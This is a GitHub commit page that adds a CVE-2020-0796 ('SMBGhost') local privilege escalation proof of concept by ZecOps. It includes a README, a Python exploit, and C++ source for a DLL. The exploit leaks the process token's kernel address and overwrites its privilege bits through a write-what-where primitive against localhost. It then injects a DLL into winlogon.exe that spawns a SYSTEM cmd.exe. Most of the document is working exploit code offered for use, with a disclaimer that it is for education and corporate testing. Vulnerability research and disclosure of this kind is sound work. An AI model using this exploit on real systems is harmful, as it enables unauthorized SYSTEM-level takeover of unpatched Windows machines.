Skip to content
This repository was archived by the owner on May 9, 2023. It is now read-only.

Commit

Permalink
Initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
m417z committed Mar 30, 2020
0 parents commit 3caf233
Show file tree
Hide file tree
Showing 13 changed files with 666 additions and 0 deletions.
Binary file added Injector.exe
Binary file not shown.
19 changes: 19 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# CVE-2020-0796 Local Privilege Escalation POC

(c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
POC to check for CVE-2020-0796 / "SMBGhost"
Expected outcome: cmd.exe launched with system access
Intended only for educational and testing in corporate environments.
ZecOps takes no responsibility for the code, use at your own risk.
Please contact [email protected] if you are interested in agent-less DFIR tools for Servers, Endpoints, and Mobile Devices to detect SMBGhost and other types of attacks automatically.

## Usage

Make sure Python is installed, then run `poc.py`.

![demo](demo.gif)

## References

* [Vulnerability Reproduction: CVE-2020-0796 POC - ZecOps Blog](https://blog.zecops.com/vulnerabilities/vulnerability-reproduction-cve-2020-0796-poc/)
* [CVE-2020-0796 - Microsoft Security Response Center](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796)
Binary file added demo.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
157 changes: 157 additions & 0 deletions poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
# CVE-2020-0796 Local Privilege Escalation POC
# (c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
# Intended only for educational and testing in corporate environments.
# ZecOps takes no responsibility for the code, use at your own risk.
# Based on the work of Alexandre Beaulieu:
# https://gist.github.com/alxbl/2fb9a0583c5b88db2b4d1a7f2ca5cdda

import sys
import random
import binascii
import struct
import os
import subprocess
import pathlib

from write_what_where import write_what_where

from ctypes import *
from ctypes.wintypes import *

# Shorthands for some ctypes stuff.
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.psapi
advapi32 = windll.advapi32
OpenProcessToken = advapi32.OpenProcessToken

# Constants.
STATUS_SUCCESS = 0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE = 0xC0000008
TOKEN_QUERY = 8
SystemExtendedHandleInformation = 64

NTSTATUS = DWORD
PHANDLE = POINTER(HANDLE)
PVOID = LPVOID = ULONG_PTR = c_void_p

# Function signature helpers.
ntdll.NtQuerySystemInformation.argtypes = [DWORD, PVOID, ULONG, POINTER(ULONG)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS

advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)]
advapi32.OpenProcessToken.restype = BOOL

# Structures for NtQuerySystemInformation.
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
_fields_ = [
("Object", PVOID),
("UniqueProcessId", PVOID),
("HandleValue", PVOID),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
_fields_ = [
("NumberOfHandles", PVOID),
("Reserved", PVOID),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]


def find_handles(pid, data):
"""
Parses the output of NtQuerySystemInformation to find handles associated
with the given PID.
"""
header = cast(data, POINTER(SYSTEM_HANDLE_INFORMATION_EX))
nentries = header[0].NumberOfHandles
print('[+] Leaking access token address')

handles = []
data = bytearray(data[16:])

# Manually unpacking the struct because of issues with ctypes.parse
while nentries > 0:
p = data[:40]
e = struct.unpack('<QQQLHHLL', p)
nentries -= 1
data = data[40:]
hpid = e[1]
handle = e[2]

if hpid != pid: continue
handles.append((e[1], e[0], e[2]))

return handles

def get_token_address():
"""
Leverage userland APIs to leak the current process' token address in kernel
land.
"""
hProc = HANDLE(kernel32.GetCurrentProcess())
pid = kernel32.GetCurrentProcessId()
print('[+] Current PID: ' + str(pid))

h = HANDLE()

res = OpenProcessToken(hProc, TOKEN_QUERY, byref(h))

if res == 0:
print('[-] Error getting token handle: ' + str(kernel32.GetLastError()))
else:
print('[+] Token Handle: ' + str(h.value))

# Find the handles associated with the current process
q = STATUS_INFO_LENGTH_MISMATCH
out = DWORD(0)
sz = 0
while q == STATUS_INFO_LENGTH_MISMATCH:
sz += 0x1000
handle_info = (c_ubyte * sz)()
q = ntdll.NtQuerySystemInformation(SystemExtendedHandleInformation, byref(handle_info), sz, byref(out))

# Parse handle_info to retrieve handles for the current PID
handles = find_handles(pid, handle_info)
hToken = list(filter(lambda x: x[0] == pid and x[2] == h.value, handles))
if len(hToken) != 1:
print('[-] Could not find access token address!')
return None
else:
pToken = hToken[0][1]
print('[+] Found token at ' + hex(pToken))
return pToken

def exploit():
"""
Exploits the bug to escalate privileges.
Reminder:
0: kd> dt nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
"""
token = get_token_address()
if token is None: sys.exit(-1)

what = b'\xFF' * 8 * 3
where = token + 0x40

print('[+] Writing full privileges on address %x' % (where))

write_what_where('127.0.0.1', what, where)

print('[+] All done! Spawning a privileged shell.')
print('[+] Check your privileges: !token %x' % (token))

dll_path = pathlib.Path(__file__).parent.absolute().joinpath('spawn_cmd.dll')
subprocess.call(['Injector.exe', '--process-name', 'winlogon.exe', '--inject', dll_path], stdout=open(os.devnull, 'wb'))

if __name__ == "__main__":
exploit()
Binary file added spawn_cmd.dll
Binary file not shown.
52 changes: 52 additions & 0 deletions spawn_cmd_src/dllmain.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
#include "pch.h"

DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

WCHAR cmdline[] = L"cmd.exe";

// Start the child process.
if (CreateProcess(NULL, // No module name (use command line)
cmdline, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi) // Pointer to PROCESS_INFORMATION structure
)
{
// Wait until child process exits.
//WaitForSingleObject(pi.hProcess, INFINITE);

// Close process and thread handles.
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

FreeLibraryAndExitThread((HMODULE)lpParameter, 0);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CloseHandle(CreateThread(NULL, 0, ThreadFunction, (LPVOID)hModule, 0, NULL));
break;

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
5 changes: 5 additions & 0 deletions spawn_cmd_src/framework.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
#pragma once

#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files
#include <windows.h>
5 changes: 5 additions & 0 deletions spawn_cmd_src/pch.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
// pch.cpp: source file corresponding to the pre-compiled header

#include "pch.h"

// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
13 changes: 13 additions & 0 deletions spawn_cmd_src/pch.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
// pch.h: This is a precompiled header file.
// Files listed below are compiled only once, improving build performance for future builds.
// This also affects IntelliSense performance, including code completion and many code browsing features.
// However, files listed here are ALL re-compiled if any one of them is updated between builds.
// Do not add files here that you will be updating frequently as this negates the performance advantage.

#ifndef PCH_H
#define PCH_H

// add headers that you want to pre-compile here
#include "framework.h"

#endif //PCH_H
31 changes: 31 additions & 0 deletions spawn_cmd_src/spawn_cmd.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29905.134
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "spawn_cmd", "spawn_cmd.vcxproj", "{8EB67813-F367-44BA-BEBC-B0710AF6A47A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Debug|x64.ActiveCfg = Debug|x64
{8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Debug|x64.Build.0 = Debug|x64
{8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Debug|x86.ActiveCfg = Debug|Win32
{8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Debug|x86.Build.0 = Debug|Win32
{8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Release|x64.ActiveCfg = Release|x64
{8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Release|x64.Build.0 = Release|x64
{8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Release|x86.ActiveCfg = Release|Win32
{8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {184A3002-25B1-4167-AA8E-C0BAF4261D00}
EndGlobalSection
EndGlobal
Loading

0 comments on commit 3caf233

Please sign in to comment.